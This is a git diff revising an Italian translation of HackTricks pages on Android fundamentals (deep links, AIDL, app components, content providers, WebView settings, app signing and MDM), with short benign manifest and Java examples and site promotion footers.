Se trovi funzioni contenenti la parola "sticky" come **`sendStickyBroadcast`** o **`sendStickyBroadcastAsUser`**, **controlla l'impatto e cerca di rimuoverle**.
|
||||||
|
|
||||||
## Deep links / Schema URL
|
## Deep links / URL schemes
|
||||||
|
|
||||||
Nelle applicazioni Android, i **deep link** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Ciò viene fatto dichiarando uno specifico **schema URL** all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, viene avviata l'attività specificata all'interno dell'applicazione.
|
Nelle applicazioni Android, **deep links** vengono utilizzati per avviare un'azione (Intent) direttamente tramite un URL. Questo viene fatto dichiarando un **URL scheme** specifico all'interno di un'attività. Quando un dispositivo Android cerca di **accedere a un URL con questo schema**, l'attività specificata all'interno dell'applicazione viene avviata.
|
||||||
|
|
||||||
Lo schema deve essere dichiarato nel file **`AndroidManifest.xml`**:
|
Lo schema deve essere dichiarato nel file **`AndroidManifest.xml`**:
|
||||||
```xml
|
```xml
|
||||||
|
@ -218,9 +220,9 @@ Lo schema deve essere dichiarato nel file **`AndroidManifest.xml`**:
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Lo schema dell'esempio precedente è `exampleapp://` (nota anche la **`categoria BROWSABLE`**)
|
Lo schema dell'esempio precedente è `exampleapp://` (nota anche il **`category BROWSABLE`**)
|
||||||
|
|
||||||
Quindi, nel campo dati, puoi specificare l'**host** e il **percorso**:
|
Quindi, nel campo dei dati, puoi specificare l'**host** e il **path**:
|
||||||
```xml
|
```xml
|
||||||
<data android:scheme="examplescheme"
|
<data android:scheme="examplescheme"
|
||||||
android:host="example"
|
android:host="example"
|
||||||
|
@ -233,29 +235,29 @@ Per accedervi da un web è possibile impostare un link come:
|
||||||
```
|
```
|
||||||
Per trovare il **codice che verrà eseguito nell'App**, vai all'attività chiamata dal deeplink e cerca la funzione **`onNewIntent`**.
|
Per trovare il **codice che verrà eseguito nell'App**, vai all'attività chiamata dal deeplink e cerca la funzione **`onNewIntent`**.
|
||||||
|
|
||||||
Scopri come [chiamare deep link senza utilizzare pagine HTML](./#exploiting-schemes-deep-links).
|
Impara a [chiamare deep link senza utilizzare pagine HTML](./#exploiting-schemes-deep-links).
|
||||||
|
|
||||||
## AIDL - Linguaggio di Definizione dell'Interfaccia Android
|
## AIDL - Linguaggio di Definizione dell'Interfaccia Android
|
||||||
|
|
||||||
Il **Linguaggio di Definizione dell'Interfaccia Android (AIDL)** è progettato per facilitare la comunicazione tra client e servizio nelle applicazioni Android attraverso la **comunicazione tra processi** (IPC). Poiché su Android non è consentito accedere direttamente alla memoria di un altro processo, AIDL semplifica il processo marshalling degli oggetti in un formato comprensibile dal sistema operativo, facilitando così la comunicazione tra processi diversi.
|
Il **Linguaggio di Definizione dell'Interfaccia Android (AIDL)** è progettato per facilitare la comunicazione tra client e servizio nelle applicazioni Android attraverso la **comunicazione interprocesso** (IPC). Poiché l'accesso diretto alla memoria di un altro processo non è consentito su Android, AIDL semplifica il processo marshalling degli oggetti in un formato comprensibile dal sistema operativo, facilitando così la comunicazione tra diversi processi.
|
||||||
|
|
||||||
### Concetti Chiave
|
### Concetti Chiave
|
||||||
|
|
||||||
- **Servizi Vincolati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, rendendolo una zona vitale per la revisione della sicurezza alla ricerca di vulnerabilità.
|
- **Servizi Legati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, segnalandolo come un'area vitale per la revisione della sicurezza alla ricerca di vulnerabilità.
|
||||||
|
|
||||||
- **Messaggero**: Operando come un servizio vincolato, il Messaggero facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare attentamente questo metodo per qualsiasi gestione non sicura dei dati o esecuzione di funzioni sensibili.
|
- **Messenger**: Operando come un servizio legato, Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili.
|
||||||
|
|
||||||
- **Binder**: Anche se l'uso diretto della classe Binder è meno comune a causa dell'astrazione di AIDL, è utile comprendere che Binder agisce come un driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di processi diversi. Per una maggiore comprensione, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che Binder agisce come un driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||||
|
|
||||||
## Componenti
|
## Componenti
|
||||||
|
|
||||||
Questi includono: **Attività, Servizi, Ricevitori di Trasmissione e Provider.**
|
Questi includono: **Attività, Servizi, Ricevitori di Broadcast e Provider.**
|
||||||
|
|
||||||
### Attività di Avvio e altre attività
|
### Attività di Lancio e altre attività
|
||||||
|
|
||||||
Nelle app Android, le **attività** sono come schermate, che mostrano diverse parti dell'interfaccia utente dell'app. Un'app può avere molte attività, ognuna presentando uno schermo unico all'utente.
|
Nelle app Android, le **attività** sono come schermi, mostrando diverse parti dell'interfaccia utente dell'app. Un'app può avere molte attività, ognuna delle quali presenta uno schermo unico all'utente.
|
||||||
|
|
||||||
L'**attività di avvio** è il principale gateway per un'app, avviato quando si tocca l'icona dell'app. È definito nel file di manifesto dell'app con intent specifici MAIN e LAUNCHER:
|
L'**attività di lancio** è il principale gateway a un'app, avviata quando tocchi l'icona dell'app. È definita nel file manifest dell'app con intent specifici MAIN e LAUNCHER:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -264,19 +266,19 @@ L'**attività di avvio** è il principale gateway per un'app, avviato quando si
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
Non tutte le app hanno bisogno di un'attività di lancio, specialmente quelle senza un'interfaccia utente, come i servizi in background.
|
Non tutte le app necessitano di un'attività di avvio, specialmente quelle senza un'interfaccia utente, come i servizi in background.
|
||||||
|
|
||||||
Le attività possono essere rese disponibili ad altre app o processi contrassegnandole come "esportate" nel manifesto. Questa impostazione consente ad altre app di avviare questa attività:
|
Le attività possono essere rese disponibili ad altre app o processi contrassegnandole come "exported" nel manifest. Questa impostazione consente ad altre app di avviare questa attività:
|
||||||
```markdown
|
```markdown
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
Tuttavia, accedere a un'attività da un'altra app non è sempre un rischio per la sicurezza. La preoccupazione sorge se dati sensibili vengono condivisi impropriamente, il che potrebbe portare a fughe di informazioni.
|
Tuttavia, accedere a un'attività da un'altra app non è sempre un rischio per la sicurezza. La preoccupazione sorge se i dati sensibili vengono condivisi in modo improprio, il che potrebbe portare a leak di informazioni.
|
||||||
|
|
||||||
Il ciclo di vita di un'attività **inizia con il metodo onCreate**, impostando l'interfaccia utente e preparando l'attività per l'interazione con l'utente.
|
Il ciclo di vita di un'attività **inizia con il metodo onCreate**, impostando l'interfaccia utente e preparando l'attività per l'interazione con l'utente.
|
||||||
|
|
||||||
### Sottoclasse dell'Applicazione
|
### Sottoclasse dell'Applicazione
|
||||||
|
|
||||||
Nello sviluppo di Android, un'app ha l'opzione di creare una **sottoclasse** della classe [Application](https://developer.android.com/reference/android/app/Application), anche se non è obbligatorio. Quando viene definita una tale sottoclasse, diventa la prima classe istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente una inizializzazione anticipata prima che il resto dell'applicazione inizi.
|
Nello sviluppo Android, un'app ha la possibilità di creare una **sottoclasse** della classe [Application](https://developer.android.com/reference/android/app/Application), anche se non è obbligatorio. Quando tale sottoclasse è definita, diventa la prima classe a essere istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente un'inizializzazione anticipata prima che il resto dell'applicazione inizi.
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -294,33 +296,33 @@ super.onCreate();
|
||||||
```
|
```
|
||||||
### Servizi
|
### Servizi
|
||||||
|
|
||||||
I [Servizi](https://developer.android.com/guide/components/services) sono **operatori in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare ad essere eseguiti anche quando gli utenti passano a diverse applicazioni, rendendo i servizi cruciali per le **operazioni a lungo termine**.
|
[I servizi](https://developer.android.com/guide/components/services) sono **operativi in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare a funzionare anche quando gli utenti passano ad altre applicazioni, rendendo i servizi cruciali per **operazioni a lungo termine**.
|
||||||
|
|
||||||
I servizi sono versatili; possono essere avviati in vari modi, con gli **Intent** che rappresentano il metodo principale per avviarli come punto di ingresso di un'applicazione. Una volta che un servizio viene avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua ad essere eseguito fino a quando non viene esplicitamente chiamato il metodo `stopService`. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, viene utilizzato il metodo `bindService` per collegare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati.
|
I servizi sono versatili; possono essere avviati in vari modi, con **Intents** che rappresentano il metodo principale per lanciarli come punto di ingresso di un'applicazione. Una volta che un servizio è avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua a funzionare fino a quando il metodo `stopService` non viene chiamato esplicitamente. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, il metodo `bindService` viene utilizzato per legare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati.
|
||||||
|
|
||||||
Un'applicazione interessante dei servizi include la riproduzione di musica in background o il recupero di dati di rete senza ostacolare l'interazione dell'utente con un'app. Inoltre, i servizi possono essere resi accessibili ad altri processi sullo stesso dispositivo tramite **esportazione**. Questo non è il comportamento predefinito e richiede una configurazione esplicita nel file Android Manifest:
|
Un'applicazione interessante dei servizi include la riproduzione di musica in background o il recupero di dati di rete senza ostacolare l'interazione dell'utente con un'app. Inoltre, i servizi possono essere resi accessibili ad altri processi sullo stesso dispositivo attraverso **l'esportazione**. Questo non è il comportamento predefinito e richiede una configurazione esplicita nel file Android Manifest:
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
### Ricevitori di trasmissione
|
### Broadcast Receivers
|
||||||
|
|
||||||
I **ricevitori di trasmissione** fungono da ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: tramite il **Manifest** dell'app o **dinamicamente** all'interno del codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni vengono filtrate con le autorizzazioni, mentre i ricevitori registrati dinamicamente possono anche specificare autorizzazioni durante la registrazione.
|
**I Broadcast receivers** fungono da ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** all'interno del codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione.
|
||||||
|
|
||||||
I **filtri di intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio regolando il comportamento in risposta a un avviso di batteria scarica.
|
**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, come modificare il comportamento in risposta a un avviso di batteria scarica.
|
||||||
|
|
||||||
Le trasmissioni possono essere sia **asincrone**, raggiungendo tutti i ricevitori senza un ordine specifico, sia **sincrone**, dove i ricevitori ricevono la trasmissione in base alle priorità impostate. Tuttavia, è importante notare il potenziale rischio per la sicurezza, poiché qualsiasi app può dare priorità a se stessa per intercettare una trasmissione.
|
Le trasmissioni possono essere **asincrone**, raggiungendo tutti i ricevitori senza ordine, o **sincrone**, dove i ricevitori ricevono la trasmissione in base a priorità impostate. Tuttavia, è importante notare il potenziale rischio per la sicurezza, poiché qualsiasi app può dare priorità a se stessa per intercettare una trasmissione.
|
||||||
|
|
||||||
Per comprendere la funzionalità di un ricevitore, cercare il metodo **`onReceive`** all'interno della sua classe. Il codice di questo metodo può manipolare l'Intent ricevuto, evidenziando la necessità di convalida dei dati da parte dei ricevitori, specialmente nelle **Trasmissioni Ordinate**, che possono modificare o eliminare l'Intent.
|
Per comprendere la funzionalità di un ricevitore, cerca il metodo **`onReceive`** all'interno della sua classe. Il codice di questo metodo può manipolare l'Intent ricevuto, evidenziando la necessità di convalida dei dati da parte dei ricevitori, specialmente nelle **Ordered Broadcasts**, che possono modificare o eliminare l'Intent.
|
||||||
|
|
||||||
### Provider di contenuti
|
### Content Provider
|
||||||
|
|
||||||
I **Provider di contenuti** sono essenziali per **condividere dati strutturati** tra le app, sottolineando l'importanza dell'implementazione delle **autorizzazioni** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati da varie fonti, inclusi database, filesystem o web. Autorizzazioni specifiche, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifesto dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso.
|
**I Content Providers** sono essenziali per **condividere dati strutturati** tra app, sottolineando l'importanza di implementare **permessi** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifest dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso.
|
||||||
|
|
||||||
La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'SQL injection. I Provider di contenuti supportano operazioni di base: `insert()`, `update()`, `delete()` e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni.
|
La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'iniezione SQL. I Content Providers supportano operazioni di base: `insert()`, `update()`, `delete()` e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni.
|
||||||
|
|
||||||
**FileProvider**, un Provider di contenuti specializzato, si concentra sulla condivisione sicura dei file. Viene definito nel manifesto dell'app con attributi specifici per controllare l'accesso alle cartelle, indicati da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili.
|
**FileProvider**, un Content Provider specializzato, si concentra sulla condivisione sicura di file. È definito nel manifest dell'app con attributi specifici per controllare l'accesso alle cartelle, denotato da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili.
|
||||||
|
|
||||||
Esempio di dichiarazione nel manifesto per FileProvider:
|
Esempio di dichiarazione del manifest per FileProvider:
|
||||||
```xml
|
```xml
|
||||||
<provider android:name="androidx.core.content.FileProvider"
|
<provider android:name="androidx.core.content.FileProvider"
|
||||||
android:authorities="com.example.myapp.fileprovider"
|
android:authorities="com.example.myapp.fileprovider"
|
||||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
||||||
android:resource="@xml/filepaths" />
|
android:resource="@xml/filepaths" />
|
||||||
</provider>
|
</provider>
|
||||||
```
|
```
|
||||||
E un esempio di specifica delle cartelle condivise in `filepaths.xml`:
|
E un esempio di specificare le cartelle condivise in `filepaths.xml`:
|
||||||
```xml
|
```xml
|
||||||
<paths>
|
<paths>
|
||||||
<files-path path="images/" name="myimages" />
|
<files-path path="images/" name="myimages" />
|
||||||
</paths>
|
</paths>
|
||||||
```
|
```
|
||||||
Per ulteriori informazioni controlla:
|
Per ulteriori informazioni controlla:
|
||||||
- [Sviluppatori Android: Provider di contenuti](https://developer.android.com/guide/topics/providers/content-providers)
|
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||||
- [Sviluppatori Android: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
Le WebViews sono come **mini browser web** all'interno delle app Android, che recuperano contenuti sia dal web che da file locali. Affrontano rischi simili ai browser tradizionali, ma ci sono modi per **ridurre questi rischi** attraverso **impostazioni specifiche**.
|
WebViews sono come **mini browser web** all'interno delle app Android, che estraggono contenuti dal web o da file locali. Affrontano rischi simili a quelli dei browser regolari, ma ci sono modi per **ridurre questi rischi** attraverso **impostazioni** specifiche.
|
||||||
|
|
||||||
Android offre due tipi principali di WebView:
|
Android offre due principali tipi di WebView:
|
||||||
|
|
||||||
- **WebViewClient** è ottimo per l'HTML di base ma non supporta la funzione di avviso JavaScript, influenzando il modo in cui gli attacchi XSS possono essere testati.
|
- **WebViewClient** è ottimo per HTML di base ma non supporta la funzione di avviso JavaScript, influenzando il modo in cui gli attacchi XSS possono essere testati.
|
||||||
- **WebChromeClient** si comporta più come l'esperienza completa del browser Chrome.
|
- **WebChromeClient** si comporta più come l'esperienza completa del browser Chrome.
|
||||||
|
|
||||||
Un punto chiave è che i browser WebView **non condividono i cookie** con il browser principale del dispositivo.
|
Un punto chiave è che i browser WebView **non condividono i cookie** con il browser principale del dispositivo.
|
||||||
|
|
||||||
Per il caricamento dei contenuti, sono disponibili metodi come ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL````. È cruciale assicurarsi che questi URL o file siano **sicuri da utilizzare**. Le impostazioni di sicurezza possono essere gestite tramite la classe ````WebSettings````. Ad esempio, disabilitare JavaScript con ````setJavaScriptEnabled(false)```` può prevenire gli attacchi XSS.
|
Per caricare contenuti, sono disponibili metodi come ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL````. È cruciale assicurarsi che questi URL o file siano **sicuri da usare**. Le impostazioni di sicurezza possono essere gestite tramite la classe ````WebSettings````. Ad esempio, disabilitare JavaScript con ````setJavaScriptEnabled(false)```` può prevenire attacchi XSS.
|
||||||
|
|
||||||
Il "Bridge" JavaScript consente agli oggetti Java di interagire con JavaScript, richiedendo che i metodi siano contrassegnati con ````@JavascriptInterface```` per la sicurezza da Android 4.2 in poi.
|
Il "Bridge" JavaScript consente agli oggetti Java di interagire con JavaScript, richiedendo che i metodi siano contrassegnati con ````@JavascriptInterface```` per la sicurezza a partire da Android 4.2.
|
||||||
|
|
||||||
Consentire l'accesso ai contenuti (````setAllowContentAccess(true)````) consente alle WebViews di raggiungere i Provider di contenuti, il che potrebbe essere un rischio a meno che gli URL dei contenuti siano verificati come sicuri.
|
Consentire l'accesso ai contenuti (````setAllowContentAccess(true)````) consente ai WebView di accedere ai Content Providers, il che potrebbe essere un rischio a meno che gli URL dei contenuti non siano verificati come sicuri.
|
||||||
|
|
||||||
Per controllare l'accesso ai file:
|
Per controllare l'accesso ai file:
|
||||||
- Disabilitare l'accesso ai file (````setAllowFileAccess(false)````) limita l'accesso al filesystem, con eccezioni per determinati asset, garantendo che siano utilizzati solo per contenuti non sensibili.
|
- Disabilitare l'accesso ai file (````setAllowFileAccess(false)````) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che siano utilizzati solo per contenuti non sensibili.
|
||||||
|
|
||||||
## Altri Componenti dell'App e Gestione dei Dispositivi Mobili
|
## Altri Componenti dell'App e Gestione dei Dispositivi Mobili
|
||||||
|
|
||||||
### **Firma Digitale delle Applicazioni**
|
### **Firma Digitale delle Applicazioni**
|
||||||
|
|
||||||
- La **firma digitale** è un must per le app Android, garantendo che siano **autenticamente autenticate** prima dell'installazione. Questo processo utilizza un certificato per l'identificazione dell'app e deve essere verificato dal gestore dei pacchetti del dispositivo durante l'installazione. Le app possono essere **auto-firmate o certificate da una CA esterna**, proteggendo dall'accesso non autorizzato e garantendo che l'app rimanga intatta durante la consegna al dispositivo.
|
- La **firma digitale** è un must per le app Android, assicurando che siano **autenticamente create** prima dell'installazione. Questo processo utilizza un certificato per l'identificazione dell'app e deve essere verificato dal gestore pacchetti del dispositivo al momento dell'installazione. Le app possono essere **autofirmate o certificate da un CA esterno**, proteggendo contro accessi non autorizzati e garantendo che l'app rimanga intatta durante la sua consegna al dispositivo.
|
||||||
|
|
||||||
### **Verifica dell'App per una Sicurezza Potenziata**
|
### **Verifica dell'App per Maggiore Sicurezza**
|
||||||
|
|
||||||
- A partire da **Android 4.2**, una funzionalità chiamata **Verifica App** consente agli utenti di verificare la sicurezza delle app prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente maliziose, potenziando la sicurezza dell'utente.
|
- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura prevenire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente.
|
||||||
|
|
||||||
### **Gestione dei Dispositivi Mobili (MDM)**
|
### **Gestione dei Dispositivi Mobili (MDM)**
|
||||||
|
|
||||||
- Le **soluzioni MDM** forniscono **controllo e sicurezza** per i dispositivi mobili attraverso l'**API di Amministrazione Dispositivi**. Necessitano dell'installazione di un'app Android per gestire e proteggere efficacemente i dispositivi mobili. Le funzioni chiave includono **l'applicazione di politiche di password**, **l'obbligo di crittografia dello storage**, e **il permesso di cancellazione remota dei dati**, garantendo un controllo e una sicurezza completi sui dispositivi mobili.
|
- Le **soluzioni MDM** forniscono **supervisione e sicurezza** per i dispositivi mobili attraverso l'**API di Amministrazione Dispositivo**. Richiedono l'installazione di un'app Android per gestire e proteggere efficacemente i dispositivi mobili. Le funzioni chiave includono **imposizione di politiche sulle password**, **obbligo di crittografia dello storage**, e **permissibilità di cancellazione remota dei dati**, garantendo un controllo e una sicurezza completi sui dispositivi mobili.
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Gruppo di sicurezza Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,85 +1,73 @@
|
||||||
# Decompilatori APK
|
# APK decompilers
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Per ulteriori dettagli su ogni strumento, consulta il post originale su [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
